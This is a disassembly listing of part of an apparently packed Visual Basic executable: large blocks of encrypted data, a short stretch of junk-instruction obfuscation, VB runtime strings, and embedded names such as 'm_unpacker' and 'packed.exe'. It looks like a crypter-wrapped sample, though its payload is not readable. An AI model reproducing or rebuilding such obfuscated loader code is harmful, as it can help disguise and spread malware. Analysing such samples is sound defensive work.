		dd 0BF6E0D90h, 3895C831h, 9DFBAF38h, 88185FEEh,	0FA0AB169h
		dd 9DF25B2Bh, 9D91548h,	4FFEC6A3h, 1B077AC1h, 21D0D0C4h
		dd 0BFCF569Eh, 55402356h, 0EA99CEB8h, 0AA0B2C81h, 7637085Ch
		dd 8822AA6Bh, 0C776D0B8h, 8D412192h, 0E876FFB2h, 88E9A283h
		dd 0D4D71E27h, 3063BC3Fh, 0C6B79EBEh, 4B36211h,	0EBA48989h
		dd 1362E537h, 7DAh, 3B9C753Ch, 0E041D4DAh, 89EABD7Fh, 30910428h
		dd 0D637ECCFh, 6952C5A8h, 0CEF253B4h, 0AE95F657h, 6E3798F9h
		dd 7BE03C9Dh, 0B326A648h, 3D8229F7h, 850881A4h,	4AA4D72Ch
		dd 8DF18E18h, 0C0EB50DEh, 8F96EA4Bh, 96396FFh, 0C2FBA91Fh
		dd 57C0575Dh, 0B31ECA24h, 0AF5E0DF7h, 57D0F546h, 0F7B095F6h
		dd 0E0CA1B74h, 1EAE4073h, 7221F7B3h, 13A140C3h,	0B31C6ABBh
		dd 1EC32B5Eh, 0AF14F7B3h, 0F695188Fh, 1D50B947h, 1CE2515h
		dd 0C0575DC2h, 4E57A811h, 2AFB5CBDh, 0A689DE61h, 228876F1h
		dd 59DCE2C2h, 7350Ah, 1929700h,	0A6793FA0h, 43DAE445h
		dd 0EABD81E2h, 92072889h, 0AD620331h, 4BAC0D82h, 0EE4FB067h
		dd 92F354C9h, 3D99FAB3h, 2749A5D8h, 0E78EF7B3h,	1A74B1A2h
		dd 1EB47EB1h, 7423FBA9h, 531CEA0Bh, 95C4DB10h, 784D9E07h
		dd 94E94EAFh, 0B3A58D61h, 994A38F7h, 15725B7Eh,	0A04E81EAh
		dd 2FF7B323h, 436CD180h, 1EAC4BCEh, 981BECB9h, 59CCEE3Fh
		dd 51A937D6h, 1E51BAD4h, 1D43123h, 0B9280F74h, 0C83E6886h
		dd 9B867F1h, 0BD38E786h, 0E2F80459h, 9F5BAA2Dh,	1000006h
		dd 0A5066738h, 46A7089Fh, 0EF50B164h, 96F758CFh, 719F0095h
		dd 7B101B1Ch, 1EF1B91Ah, 0C2575CBDh
		dd 64250061h, 0F42A703h, 0F7B327DFh, 0A40449F0h, 3E778281h
		dd 0AD3DEBBBh, 3B26748h, 911A2B80h, 0A0BF6D0Eh,	68C94263h
		dd 0E37F6708h, 5C63B49Ah, 17A544C7h, 7D8h, 0F7AA8300h
		dd 55000002h, 0C8D97FA0h, 2E27F40Dh, 0D3D2205Eh, 68F6A55Ah
		dd 7CAF2203h, 0F18E4172h, 25C9FC65h, 0AAF18E41h, 1A9D4CFBh
		dd 0CA3353D2h, 0A9489B97h, 248D3CFBh, 59B2EFD3h, 8EFED5EEh
		dd 0E9880BBAh, 8C99FA5Bh, 182378FBh, 57CE2283h,	0B27DCE37h
		dd 0B3E64FDDh, 1CF13A4h, 0C84FD005h, 0ABF84A3h,	0BB5C5E00h
		dd 9F4EFD91h, 8DC0E536h, 8EFC945Ah, 0E59443F1h,	89022384h
		dd 198EB106h, 0C45B5FB0h, 0BA6BB336h, 0B90E63CCh, 8EFC6886h
		dd 0CBFE67F1h, 0F18EFC23h, 0F15605B4h, 81C856C9h, 0FBAFE660h
		dd 51C4E637h, 6EE998C3h, 0E4DDCF7Ch, 8F1665E8h,	0F1000005h
		dd 95F657C8h, 3697F8AFh, 0DF40A174h, 86E748DFh,	618FF0A5h
		dd 6B200B0Ch, 0E81A90Ah, 0B2674CADh, 54D5F051h,	0FF3297F3h
		dd 0F7B328EFh, 0A4F439E0h, 30850881h, 0BC119415h, 479C1FF6h
		dd 0E12FB265h, 0D889102Fh, 57595273h, 99456595h, 8E188866h
		dd 0E99847F1h, 18A14D80h, 8736F18Eh, 0EB2847F9h, 90F051DAh
		dd 9AE33ADFh, 3AB4E73Ch, 9DF18E10h, 72160EEh, 0CC000000h
		dd 151AAh, 4FA05500h, 9130B368h, 6879E03h, 0C2219F8Bh
		dd 3D8C0FE2h, 4FAh, 5BBC555Ch, 6134FAh,	0A90A9D9Fh, 50B16448h
		dd 0F657CCEFh, 4972A5C8h, 2E1273D4h, 8EB51677h,	4E57B819h
		dd 9B005CBDh, 0B3298668h, 5DA249F7h, 0D6184BA0h, 0F9F18E18h
		dd 4E57BC4Ah, 0C0E53ABDh, 496FC447h, 1805E91Ch,	1BCAF18Eh
		dd 0AF94E96Ch, 28D677FAh, 23D18209h, 77FEC704h,	0ACD355B0h
		dd 5D50531Fh, 3E9EFFAEh, 9AE35831h, 2214h, 0C3AABF00h
		dd 41000000h, 0BF2F4B20h, 18F98C5h, 0B4AAACh, 20410000h
		dd 22A09D6h, 12EF568Bh,	0A0C61BA9h, 37BA6D4Fh, 73B20A98h
		dd 0CF5C938Dh, 7F2E2942h, 574FE316h, 5908FBA9h,	0F7978ED6h
		dd 4D825B8Eh, 0C41501D4h, 3A225F8h, 209B4A75h, 0E2F8081Ah
		dd 2FDC2BAEh, 91000004h, 3596F7A8h, 0D637980Fh,	7FE041D4h
		dd 2687E8BFh, 12F9005h,	0B80AB6Ch, 0AE6149AAh, 52C7EC4Dh
		dd 0F4B590F1h, 9FD23793h, 0F7B32A4Fh, 0B194D980h, 7EB11A74h
		dd 0FBAFC5C4h, 0AAFB6413h, 69AC0D80h, 0F7AD6588h, 10793213h
		dd 0A124FBBFh, 0FC939D02h, 82AC0D6Eh, 1A4DA20Bh, 0F7AD65D4h
		dd 0B8EB5403h, 0F7AD6536h, 0D95CEA99h, 3C18Ah, 74B13500h
		dd 0B47EB11Ah, 23FBA91Fh, 7CA9F174h, 12C1545Ch,	0CD2154A9h
		dd 2F7B31Fh, 0C3081E53h, 0D5F1137Ch, 6889DE47h,	348A5996h
		dd 0ED013466h, 0E2F7B415h, 0AFF68433h, 1D50B2Eh, 7955D07Fh
		dd 0EDE2F8CAh, 3781B6Ah, 0D7DA0000h, 0B67CDD3Eh, 131D7EDFh
		dd 0F2BA1B7Ch, 5659BA1Bh, 533260C1h, 0DD3ED3DCh, 80E1B47Ch
		dd 2283181Fh, 0C223E4C1h, 20CE0166h, 0AFF7B32Ah, 74B1C308h
		dd 0B5CB11Ah, 25096E21h, 919DE472h, 46FBA91Fh, 84D92E97h
		dd 0B31F9D51h, 0F58332F7h, 0E53AB590h, 0B31F3CB2h, 0A5EC9BF7h
		dd 0F7B31F49h, 9106298Eh, 11C06F0Eh, 0B5764FB0h, 4B3BEA32h
		dd 743C8DE2h, 9D4CC3EBh, 0A6ED7B1Ah, 1CE24FDh, 75C62FDEh
		dd 1576D750h, 0ACF47730h, 71A40D79h, 0FBAF3860h, 410B8635h
		dd 0ADE4DD3Fh, 2D8DB2Ah, 773A0000h, 0D6DC3D9Eh,	0B37DDE3Fh
		dd 121A7BDCh, 0F6B91A7Bh, 0F392C021h, 3D9E733Ch, 0E041D4DCh
		dd 82E3B87Fh, 22830421h, 0C02E61C6h, 0FF7B32Bh,	81A42368h
		dd 15308508h, 7DCE3394h, 0F951DFA8h, 0C6F9622Ch, 0FBAF1E6Bh
		dd 83BA3DECh, 0F7AD1E6Fh, 44809F41h, 0A102412Bh, 0A9D9FF0h
		dd 5C3D7Ch, 0B1E80000h,	60B11A74h, 0A342C558h, 3657AC15h
		dd 97CF851Bh, 0C53E18Ch, 0FBAF4C95h, 0C7E2C3E4h, 2F65FB30h
		dd 491CE696h, 12A04FF1h, 7ECF38E7h, 0D255E3BAh,	0ADA9579Bh
		dd 0AF0059F7h, 0F8971A8Dh, 5899B86Ah, 0BDF90937h, 0B42F45F3h
		dd 0ED4B8032h, 0D539C70Dh, 0A1025A9Ah, 0DDABh, 81A45600h
		dd 0F308508h, 1841ADE0h, 0E796F18Eh, 66E9BC82h,	8EAF18C7h
		dd 0FBC424B0h, 0CF04A326h, 0CF0264F0h, 0F18E191Fh, 0C45201B0h
		dd 50D9EC41h, 0DCAD78CDh, 1DEC387Bh, 0B491F18Eh, 143192F3h
		dd 5DC81093h, 2273C831h, 62018419h, 10D08DD4h, 36E5FBAFh
		dd 0A94578CDh, 2EF7AD2Eh, 7F161A7Fh, 6ECF5DFCh,	127B0B1Ah
		dd 0CCBE0CDFh, 0B51ECD01h, 0D90C5B64h, 0F1CCBE15h, 0F35C0BBAh
		dd 0BE836B9Eh, 0A554F1CCh, 6A55B617h, 87163AB5h, 63E6E2FCh
		dd 18914h, 4DC6EB00h, 0F2A58BECh, 970E3091h, 36E9D536h
		dd 0D64B74D5h, 0F1264775h, 97F859CEh, 3A9BFC93h, 0DE3FA075h
		dd 89E546C7h, 2BFDF124h, 2BD2F7B3h, 69BA4E6h, 0EE6144A5h
		dd 18886699h, 9847F18Eh, 8E189D51h, 0D48332F1h,	74B12273h
		dd 75CB11Ah, 8E181AD4h,	800EBDF1h, 0AF376839h, 1B9E4DFBh
		dd 0AD370EE4h, 0E100A2F7h, 245CAA5h, 887BA1h, 0A4260000h
		dd 30850881h, 0E0179A0Fh, 0F18E1C44h, 0E5B884D5h, 5AD3F257h
		dd 0FC8D98F9h, 9AF43179h, 105FFE31h, 0C170FBAFh, 6D190C60h
		dd 0BB75D104h, 0AB5A01CCh, 59CEF142h, 4BA5CFF0h, 38477889h
		dd 0C7E849AAh, 0F99D752h, 0A8DE2FCh, 0C9BBh, 8D062B00h
		dd 32E5CB2Ch, 0D74E70D1h, 76291576h, 168BB415h,	31E687B5h
		dd 0D738990Eh, 7ADB3CD3h, 1E7FE0B5h, 0C9258607h, 2DBD3164h
		dd 6B12F7B3h, 69BA426h,	0A86144A5h, 81A4F647h, 1F7E9F08h
		dd 980F5379h, 358DB69h,	5D8CB322h, 8E37C42Ah, 0B56413F1h
		dd 0D451A506h, 81E51BAh, 0C7FBA93Fh, 65409518h,	0C3E243A4h
		dd 0AB90E14Ah, 6FD473F6h, 0C649D74Ch, 0F44A4C6Dh, 1AED00A6h
		dd 0AB8F458Ch, 6BD40056h, 830BE316h, 1DCCF516h,	81BEDD8Fh
		dd 2182E3A4h, 79F8CD04h, 0BA59DCB3h, 3AE9880Bh,	0C35A62B7h
		dd 3B1F395Ah, 3B2979D3h, 2ADC2AADh, 36F7CE0Bh, 0D85174D5h
		dd 0ADA04E6Fh, 9A59DC84h, 33A890Ch, 0E5000000h,	9DA4095Eh
		dd 192C8104h, 0F3B80D90h, 62469B1Eh, 0E8D328ABh, 505BB033h
		dd 0DBE338BBh, 426CC144h, 0CDF348CBh, 508ED75Ah, 0BD55E089h
		dd 4, 835DE801h, 48704E8h, 0F5685C24h, 8900005Fh
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	625086Bh
		mov	ecx, [esp]
		add	esp, 4
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, ecx
		mov	[ebx+8], esi
		pop	esi
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_5426C5
; ---------------------------------------------------------------------------
		db 87h,	6Bh, 78h
		dd 3E5D48F5h, 4F75B0A5h, 1667B863h, 0C5030625h,	0A153E0FFh
		dd 0DD8F4430h, 70F60927h, 0D3885B86h, 6DBC2FACh, 0E70A3B79h
		dd 95821ACCh, 9DE2075Eh, 1A854FADh, 0F75F350Bh,	0CB3D2D3Dh
		dd 5E8E52CFh, 5260476h,	0C12A7A6Ah, 0AFD845F5h,	0C17F60h
		dd 48941108h, 592C1C99h, 8D8D79DCh, 62517B6h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 4EC35141h, 0E2CD433Bh
		dd 199D29D6h, 89061F2Fh, 1F0B5D8Dh, 0F1B58B06h,	0C7061F0Ah
		dd 1F20C585h, 6FC406h, 0D4B86600h, 7D85C70Bh, 61F13h, 0E9000000h
		dd 6, 4AA1A217h, 0B5FF1E6Dh, 61F0865h, 5995FFF8h, 0F061F2Dh
		dd 286h, 6A1CB400h, 4595FF00h, 8B061F1Dh, 71CEBC0h, 642B7AE8h
		dd 685121ADh, 0A41A8445h, 402D8795h, 0A3D78291h, 33AD8EB2h
		dd 8DD6F9D4h, 25189A8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0AE95Fh, 33390000h, 8CB8AB20h
		dd 2B97C9E8h, 7FC08166h, 5D8D89B9h, 6A061F0Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
		dd 99DAC357h, 16F506C7h, 85C781B2h, 61F20C5h, 69ECh, 0EEC08166h
		dd 7D85C74Eh, 61F13h, 8B000000h, 1F10BD85h, 25B5FF06h
		dd 6A061F30h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 3AA8C356h, 1C084F94h, 2D5995FFh
		dd 890F061Fh, 3, 56DFB70Fh, 1355B589h, 6A5E061Fh, 4595FF00h
		dd 8B061F1Dh, 166DEBC0h, 0DDFEBFE6h, 6A1C695h, 9091DEBFh
		dd 1AC7EDB2h, 0AC5D1605h, 0A093EF93h, 2298ED1Dh, 0B1ED0C7Dh
		dd 85CE3219h, 0FD8CFBF3h, 918B5298h, 9E6B7DBBh,	9E302A4Eh
		dd 632BB765h, 6725089h,	0BD957ACAh, 1850CF4Eh, 0F63F8CFDh
		dd 282F08F8h, 0B8322B28h, 0A15E2DADh, 0AE2E2EAEh, 4BC085DDh
		dd 2D95EA47h, 35A6F516h, 0ADDAD97Ch, 0BEBA6C47h, 15CE9h
		dd 0E705C500h, 5C3A4377h, 6E755F6Dh, 6B636170h,	70007265h
		dd 656B6361h, 78652E64h, 65h, 3Ah dup(0)
		db    0
a3cannotFindS_P	db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
		db 0D3h, 0B0h, 25h
		dd 1DB5E91Ah, 0E6680000h, 0E906251Ch, 0FFFA6306h, 251DDF68h
		dd 62FCE906h, 1B68FFFAh, 0E906251Fh, 0FFFA62F2h, 25200968h
		dd 62E8E906h, 5868FFFAh, 0E9062520h, 0FFFA62DEh, 25211968h
		dd 62D4E906h, 6C68FFFAh, 0E9062521h, 0FFFA62CAh, 2521B368h
		dd 62C0E906h, 0F968FFFAh, 0E9062528h, 0FFFA62B6h, 25297A68h
		dd 62ACE906h, 3E68FFFAh, 0E906252Ah, 0FFFA62A2h, 252B0D68h
		dd 6298E906h, 6E68FFFAh, 0E906252Bh, 0FFFA628Eh, 252C3568h
		dd 6284E906h, 0FA68FFFAh, 0E906252Ch, 0FFFA627Ah, 252DB468h
		dd 6270E906h, 0F568FFFAh, 0E9062534h, 0FFFA6266h, 2535E768h
		dd 625CE906h, 0AC68FFFAh, 0E9062536h, 0FFFA6252h, 0F36A9715h
		dd 1289762Fh, 2EA55C4Eh, 49C03F6Ah, 69E02185h, 4C5A631Dh
		dd 397A3EB5h, 0D9B5FD6h, 0EEB97DF4h, 58D19A11h,	0AE86D4ACh
		dd 0BC2F6719h, 8D1B6245h, 8D49296Fh, 9E26DCF1h,	0DE82B564h
		dd 0F2847B2Eh, 6014A64Ah, 0DA41B847h, 2EDA635Dh, 1FD31D56h
		dd 0C19935E9h, 541FD31Dh, 0D783FCA0h, 15F025C2h, 2DA860Fh
		dd 9525F225h, 0E4BC68E1h, 7725F224h, 0B2669FC3h, 2C04B039h
		dd 0BF25F225h, 0B555E70Bh, 25F225E1h, 4216C847h, 0B56B350Ch
		dd 7FA3D351h, 752290E9h, 0B9D5D09h, 3BE764F6h, 25F20F63h
		dd 7A9E42F6h, 59E1h, 467C6E00h,	0F0B924B7h, 0C4E8E90Fh
		dd 0DDBB933Fh, 9A4E1FD2h, 0B87FD2F6h, 50265CD5h, 0C8E6E486h
		dd 0EE77F014h, 63877A2Eh, 0EFED22C7h, 891BCF15h, 0F22E15E9h
		dd 0E2FC7B25h, 6941ED76h, 0BC25F22Dh, 0F22D3810h, 0DE17CB25h
		dd 2970062Ah, 0E40975C8h, 5C808F24h, 108C3h, 62455000h
		dd 4F570B9Dh, 3B6C20B2h, 5CD79042h, 24C86D2Ah, 36C9DE92h
		dd 66B987BDh, 0FB77F9BDh, 10B060D7h, 731FD35Fh,	780AF7B3h
		dd 0ABFCACD0h, 8E19DD54h, 0D962DF71h, 0D35E552Dh, 1034E81Fh
		dd 9E177ABDh, 47DFDF15h, 958A175Bh, 5E5CD571h, 28B115F0h
		dd 0F25DA47Ch, 17EAC025h, 0F0A4DD85h, 66DF93CCh, 6AFC03A6h
		dd 0C0279EC2h, 5EA10677h, 5D9541BAh, 0B01C13CEh, 2448B7F0h
		dd 0FEBE37EBh, 880AD3ACh, 0BF3D3D08h, 0BDE1891Bh, 0DF228444h
		dd 5931DD66h, 0EC2C1421h, 21DFB763h, 0BE722C14h, 0BB7FF61Ah
		dd 6AAF16EBh, 0DBFA680Ah, 1A8E2645h, 4D5F0000h,	2C793DB4h
		dd 12985CD3h, 0F5B478EFh, 0D7CF930Ah, 0AD67B32Ah, 8C03FEA8h
		dd 0AD24EBC8h, 0CB42BFE9h, 0E85FA007h, 22FAA61Fh, 0B519AE86h
		dd 467C0A7Dh, 0ADF910F7h, 0F41AC254h, 0F0A08452h, 722246B9h
		dd 0C956CD34h, 3E629F09h, 6511198Eh, 1FD2BE8Dh,	51C86C20h
		dd 95A2DAh, 8136DB87h, 2FE315F0h, 0C229FD9Dh, 108F25F2h
		dd 5C2C6DCEh, 0ABE10974h, 7C9EF620h, 0BD567A76h, 0C8h
		dd 0CC337434h, 0E01F863Ah, 0DE02A64Eh, 0EEBC7C7Bh, 55578113h
		dd 0BCAFE17Ah, 8430A94Dh, 1FD321ACh, 0B7678B3Fh, 0C97D0FF0h
		dd 159224DDh, 8B64EFDFh, 892A1D36h, 5BBCE286h, 12C1178Bh
		dd 7717B3D7h, 0A31FD313h, 0C084FB04h, 2F8618E7h, 600C8508h
		dd 15F023E7h, 0EA51C87Ch, 23CF484Dh, 1C138FC0h,	8040B96Dh
		dd 0D764DB26h, 4D718E17h, 91F8099Dh, 0FA685956h, 95FE1DB3h
		dd 66000019h, 8044BB46h, 9F63DA25h, 0BB7FF60Bh,	0D69A11EEh
		dd 6EBA31D0h, 0CF5B1B4h, 2DE2D195h, 4BB6F2B6h, 689710D4h
		dd 3AF28F1h, 19AE852Bh,	451386BEh, 6529A061h, 643CE842h
		dd 0F71FD3A1h, 9B289F43h, 0C32CFDBh, 1B70B9F0h,	5ABDE1B8h
		dd 0B9D6245h, 882D5057h, 525C4A8Ch, 13A55C4Eh, 0AA23C76Bh
		dd 0AE40BFEAh, 0DE6BE206h, 4E748B1Eh, 0F7955C91h, 8EE10576h
		dd 0BF6BE4A9h, 15F051B6h, 0C8FE772Bh, 0B6EB130Fh, 2B1B471h
		dd 0D5219741h, 0DB7B0D31h, 25F1A907h, 68F0EE6Dh, 7002FDA8h
		dd 4B0EA4C8h, 62097541h, 0FAh, 748D19D9h, 467CED50h, 4C679C93h
		dd 3E486C87h, 6021163Ah, 9F18BC53h, 1135CADFh, 8B33EC98h
		dd 3FC815EFh, 3AD62B7Fh, 25F1CB62h, 0CB3109B5h,	10C425F1h
		dd 0EC7F23D7h, 6A342A4Ch, 197CBB6Ah, 676FF4A0h,	0A6DCF0A9h
		dd 20ADAD09h, 0EBE3A2A3h, 0A63EA68Fh, 0F1A5DE02h, 0A5ACE25Fh
		dd 63AE2527h, 0E057AACEh, 258834ADh, 92F6CEB1h,	0FCD48009h
		dd 8F06CEF0h, 0F0673FDBh, 46FA06CEh, 0BC35E922h, 0DD54ABFCh
		dd 0A718E19h, 10D33B9Bh, 596D8C22h, 2A000018h, 44087F82h
		dd 63279E61h, 7F43BA47h, 9A5ED52Ah, 327EF50Ch, 0D0317578h
		dd 0F11E9559h, 0FF2B67Ah, 2CD3D498h, 0C773ECB5h, 19AE82EFh
		dd 7CD74A82h, 8C7533F3h, 0D3A218F0h, 0D3F7AB1Fh, 0E97B8423h
		dd 77F0A592h, 0F087C2CBh, 2AE3715h, 25F2C72Ah, 55AAFDBDh
		dd 0D3771BC3h, 9B0FCF5Ch, 8620D466h, 9D41E97Bh,	467C1679h
		dd 3E34F17h, 0FB04A594h, 6D1DC169h, 97A1C53Ah, 0C7CA6DE1h
		dd 18E9A24Eh, 0CA7E15F0h, 13D19737h, 0D2A9D19h,	0DE630F88h
		dd 8BA33846h, 49EE45D7h, 0EB8F7238h, 8F7B272h, 22E26BE4h
		dd 40E87A85h, 906A141Ah, 0F81C8F1Eh, 5BECF95Ch,	0BFE6A6A9h
		dd 6206AE40h, 0A1D760E9h, 0A63F9CBBh, 522AC6F3h, 0E5B95BEEh
		dd 4A5D0D31h, 0BCC83E33h, 4FF397F1h, 1D8B4BD8h,	9710C0E4h
		dd 0AD5A0168h, 790F6FA0h, 176B5Ah, 91703C00h, 0B04F561Ah
		dd 0CC357539h, 0E7189155h, 7FAAC70h, 838A4490h,	0A367DE23h
		dd 0C488FF10h, 0E2A61DE4h, 0FAC33AC5h, 81FDD581h, 589019AEh
		dd 58467CE5h, 6E941C63h, 0ED307096h, 6AED1038h,	0EE119646h
		dd 0D727CA87h, 0D6F58B09h, 171Ch, 0CB42BFEDh, 0EA619E07h
		dd 67D8426h, 21986742h,	41B8495Dh, 74323BF5h, 6152168Dh
		dd 357337AEh, 169155CCh, 30A972E9h, 0AE81AC84h,	94073F19h
		dd 249D6245h, 2EC04F64h, 31D52C7Ah, 45D72881h, 6AE7799Dh
		dd 3FE6B334h, 54787B70h, 0DA533601h, 5ECDA551h,	0AC601FD3h
		dd 0C6860F88h, 0E48C1EE1h, 686B24C0h, 4C0015F0h, 9ECEB7D5h
		dd 0CF7BF499h, 1C0F4916h, 2E8775ABh, 0E62AD6D3h, 6D0FAF42h
		dd 0FEC8B725h, 52DB5439h, 3396B71Ch, 7DA12E53h,	0D5A75CE1h
		dd 5C4909BEh, 0C56911A3h, 365BDC33h, 20AE11BDh,	0A75BC4FAh
		dd 0C6396E2Eh, 0A302C24Fh, 1F88385Ch, 0C81679E0h, 0DD73430Eh
		dd 165BBEh, 81802C00h, 0A05F460Ah, 0BC456529h, 0D7288145h
		dd 0F70A9C60h, 737A3480h, 9357CE33h, 0B478EF20h, 0D2960DF4h
		dd 0EAB32AD5h, 80EDC571h, 488019AEh, 0A18159D5h, 0DDB11FD3h
		dd 51FD3B1h, 1FD3C231h,	0D3C18559h, 0F10E991Fh,	286A038Ah
		dd 0C5E47AF6h, 1608h, 0B72ED3D9h, 0D64DB2F3h, 0F2699812h
		dd 0D847B2Eh, 2DA45D49h, 881E27E1h, 753E0279h, 495F239Ah
		dd 2A7D41B8h, 1C955ED5h, 0AE809870h, 80F32B19h,	870095A2h
		dd 0F0BBAADBh, 147B2F15h, 0F0376D9Fh, 0C14564FAh, 92000015h
		dd 0AC70E71Ah, 0CB8F06F9h, 0E7AB22DFh, 2C63DC2h, 9AE65DA4h
		dd 38C9DDE0h, 59B6FDC1h, 778A1EE2h, 946B3C00h, 2FDB541Dh
		dd 19AE8057h, 453FB2EAh, 570B9D62h, 28B82D50h, 2FCE43Ah
		dd 8525E55Eh, 38CA3570h, 36C8EC90h, 0D7647A05h,	0F0940482h
		dd 8D39C24Bh, 1FD2EDB5h, 20F89448h, 3C1FD2EEh, 5901936Eh
		dd 0E9BC6C20h, 0B8DC8416h, 251Fh, 8559AC00h, 991FD3A1h
		dd 0ED7AF10Eh, 0F688792Dh, 0BCAD284Eh, 0E908E4Dh, 0AE9C4EEAh
		dd 2ABC1F8Ch, 152B0Bh, 0BC7C9400h, 0BC9440ECh, 4F1FD3A1h
		dd 23D3F79Bh, 6CE97B84h, 7BB8FF36h, 5B55437h, 26CE60A1h
		dd 588AF02h
		dd 6243038Ch, 3F630B9Dh, 0F0446EA3h, 6D3BFB15h,	0B65A0294h
		dd 2A5FD83Fh, 426828B1h, 61852DBFh, 0F587CC5h, 0AB3DF11Ch
		dd 21F9A52Eh, 0B42C1158h, 7E2CDC00h, 875C0C83h,	9D2C1157h
		dd 0BC80F708h, 0D08416E9h, 0D1A955D5h, 642C1157h, 9A3B8AB0h
		dd 0AC80ACB7h, 77F27608h, 14EBBA67h, 48A6F39Dh,	0B6470356h
		dd 0D4000001h, 870095A2h, 0F095AEDBh, 0FE772B15h, 0BBA33FC8h
		dd 1F437E25h, 33CCD98Dh, 52ADF8BCh, 1DBCA3D9h, 6F22713Ah
		dd 7C3CB94Bh, 14B0D42Bh, 25F31540h, 0B4A43AC9h,	0F426707Eh
		dd 0E32E8A0h, 0FE36475Eh, 4AB5F079h, 0E1CFD324h, 0D9D01DBBh
		dd 10B49228h, 90053299h, 0AE28E17h, 9D25F2F7h, 0A638C9DDh
		dd 0BD365AFEh, 100A1011h, 6F01B51Ch, 9F16EBBBh,	7B2ACBDBh
		dd 5E095E84h, 7DDB7F2Dh, 0D5A747D9h, 5E2C11FEh,	94120FCFh
		dd 7334F46Dh, 2E52FA8Ch, 4DB2F3B7h, 34083EBBh, 6C3344D2h
		dd 0E9169141h, 6F9015C5h, 0DE59DDh, 0FE512258h,	0EFD7CDDDh
		dd 758A1BCBh, 2B0554FEh, 3FA80355h, 35000000h, 16946145h
		dd 916E3BEBh, 21B357FFh, 36C8396Dh, 7AA737B2h, 7C54002Ch
		dd 0F1FD3A1h, 7AB644Fh,	0B561EA63h, 1FD3A1DDh, 5796BC70h
		dd 9C1FE358h, 5802799Dh, 0F094DD01h, 0B8ACh, 95A23900h
		dd 16DB8700h, 8315F0B7h, 0B7764EFAh, 490925F2h,	0DD01A56Ah
		dd 3AC5E4A4h, 0C55F7EA8h, 527D521Bh, 0FB780AAEh, 0E3BE17C5h
		dd 0B1D56027h, 0E45BA401h, 3C6E8520h, 1FA821C5h, 0F3449B73h
		dd 567A2E25h, 6A9510C4h, 8D8231F1h, 0D853D769h,	1DC95206h
		dd 25F34445h, 357424D8h, 0AFF6A6CAh, 6A2FD950h,	830974E1h
		dd 47h,	7A91A210h, 0B6B40FB8h, 0A720C42Eh, 0D33393FBh
		dd 0E9D0061Fh, 7B477104h, 0AF4FE185h, 1FD367DBh, 324C9211h
		dd 67138C01h, 1FD368FFh, 0CB367232h, 41BA6EA7h,	0DDCD2681h
		dd 0E55C8024h, 0CB6h, 3E692900h, 0DA3A9DC1h, 72h, 0EABC7C63h
		dd 0B9DD8517h, 0CE60A109h, 0FB748B1Ah, 12BE6C3Bh, 1FD3A13Ah
		dd 0E37519CDh, 13A0173Bh, 0A206DE8Ah, 0E5991FD3h, 6B9411C1h
		dd 0AB482D9h, 0D3A1865Eh, 0C165191Fh, 0A8FFBF48h, 0A1E3BB57h
		dd 0A7FF1FD3h, 0E720C85Ah, 0DD7D0F33h, 1FD3A20Eh, 0E1738E1Ch
		dd 0F1837C2Dh, 14946D3Dh, 8AE84599h, 1168D30Bh,	0DCF094BCh
		dd 53778A1Ch, 0CFBBAh, 94A24700h, 51FD86FFh, 1FD3A179h
		dd 0A234580Ch, 7C97B702h, 4E900F91h, 0C073ACEDh, 3B4186h
		dd 0A2CE0000h, 0FD86FF94h, 2B886D3Dh, 6AE40E4h,	0A16E46E2h
		dd 4D011FD3h, 6FE51BBBh, 0D453B0A7h, 8F68310Ah,	6FA5A618h
		dd 0D5AFF2ABh, 0BA923E00h, 4DC94769h, 38D1F599h, 2D5h
		dd 0FF94A2C5h, 7951FD86h, 0CC1FD3A1h, 0D3A14820h, 0EE27DB1Fh
		dd 87B3163Ah, 9D624520h, 47F37C3Ah, 1FD3A16Fh, 98674202h
		dd 0ABA5E06h, 0A93C609Fh, 0B06A5F42h, 6CC3F394h, 50000000h
		dd 9DCE467Ch, 721074AAh, 563BFB4Eh, 0D0A854DDh,	631FD338h
		dd 7C288BAFh, 8C7533F3h, 0A05F46FAh, 673CD8FCh,	0F41FD3A1h
		dd 0FE907F34h, 0FF02A656h, 0F37CF85Bh, 0FC8E7333h, 572FDB54h
		dd 0EA1FD3A1h, 7CAF1236h, 0A16F47F3h, 4E021FD3h, 0D1307A2Ah
		dd 0E81B9858h, 0B9D41C0h, 76DC3F63h, 957A39F9h,	1A3EC3E5h
		dd 4ADAB7h, 7C630000h, 0E894E9BCh, 0BC6068C1h, 0BC64F69Ah
		dd 0A0F14598h, 0BD426727h, 0D07C3699h, 1FD3A1FBh, 3B13BF48h
		dd 0CE1FD3A1h, 37EFF61Ah, 0DA467CD4h, 0D0C09E31h, 0D649C2E6h
		dd 0DAC5467Ch, 23902DB1h, 40E87A87h, 0E2C8789Ch, 0F76BC1Fh
		dd 0E9B17059h, 0F4386EFDh, 0F08C7334h, 7E09B218h, 226146BEh
		dd 0E31C3A1Eh, 320AB62Fh, 0C57E0A26h, 0BEF46D11h, 5B4EC01Ch
		dd 446A12A4h, 0E40828EAh, 1FEA96Dh, 3AC7DF93h, 0C51994CCh
		dd 3BB44B5Ch, 41D32C7Bh, 2EE27599h, 4D0D8679h, 6216A859h
		dd 8129BB46h, 3D4BB9DDh, 924CCBFBh, 3A390C6h, 143BE427h
		dd 986740F0h, 7380E91Fh, 0CBAAADBAh, 476014A7h,	10964AB8h
		dd 9B624F9h, 0F47BB17Eh, 5B1D722Eh, 0BDE2BD59h,	35D90A9Bh
		dd 366F2391h, 228337C9h, 4CC74BDDh, 0E8198F92h,	49951044h
		dd 9D30CFD8h, 0CB44BDE9h, 8FBE9642h, 9D517E0Ah,	56D9E779h
